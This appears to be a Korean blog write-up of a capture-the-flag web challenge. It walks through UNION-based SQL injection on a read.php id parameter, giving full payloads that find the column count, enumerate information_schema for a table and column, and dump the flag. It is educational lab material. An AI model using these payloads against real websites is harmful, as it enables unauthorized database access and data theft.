<문제>
<풀이>
문제 사이트에 접속하면 처음으로 보이는 페이지이다.
로그인폼이다.
Sign UP 페이지로 이동해서 회원가입을 한다.
회원가입한 계정으로 로그인한다.
Login success! 라는 알림창이 뜬다.
게시판이 있고 포스팅을 할 수 있다.
게시물을 하나 만들어본다.
Post버튼을 클릭하면 Post done. 알림창이 뜬다.
다시 게시판으로 돌아가보면 내가 작성한 글이 올라와있다.
게시물을 열어보면 위와 같이 내용을 볼 수 있다.
url을 확인해보면 /read.php가 렌더링되었고 id 파라미터를 전송한 것을 볼 수 있다.
id 파라미터를 0으로 바꾸어 본다.
아무 내용도 없는 게시물이 조회된다.
id 파라미터에 sql injection을 시도해보면 될 것 같다.
우선 컬럼이 몇 개 있는지 찾아본다.
1. id=0 union select null
2. id=0 union select null, null
3. id=0 union select null, null, null
4. id=0 union select null, null, null, null
위의 4개의 파라미터 중에 null을 4개 조회했을 때만 err가 발생하지 않는다.
따라서 컬럼 수는 총 4개임을 알 수 있다.
id=0 union select 'a', 'b', 'c', 'd'
을 입력해본다.
위와 같이 결과가 나온다.
첫번째 컬럼이 id이고
두번째 컬럼이 title,
세번째 컬럼이 content,
네번째 컬럼이 author 임을 추측할 수 있다.
id=0 union select 1,2,(SELECT table_name from information_schema.tables where table_schema=database() limit 0, 1),4--+
위와 같은 파라미터를 보내서
content에 table_name을 출력한다.
fl4g1sher3가 테이블명임을 알 수 있다.
id=0 union select 1,2,(SELECT column_name FROM information_schema.columns WHERE table_name = 'fl4g1sher3' limit 0,1),4--+
위와 같은 쿼리문으로 컬럼명을 알아냈다.
컬럼명은 fl4g이다.
알아낸 테이블명과 컬럼명으로 아래와 같은 쿼리문을 작성했다.
id=0 union select 1,2,(select group_concat(fl4g) from fl4g1sher3),4--+
FLAG가 출력된다.
'CTF' 카테고리의 다른 글
[ASIS CTF] Grid(미해결) (0) | 2023.09.23 |
---|---|
[Pointer Overflow CTF] Easy as it Gets (0) | 2023.09.20 |
[TJCTF 2023]swill-squill (0) | 2023.05.28 |
[BYUCTF 2023] Notes (미해결) (0) | 2023.05.27 |
[Vishwa CTF] Eeezzy(미해결) (0) | 2023.04.02 |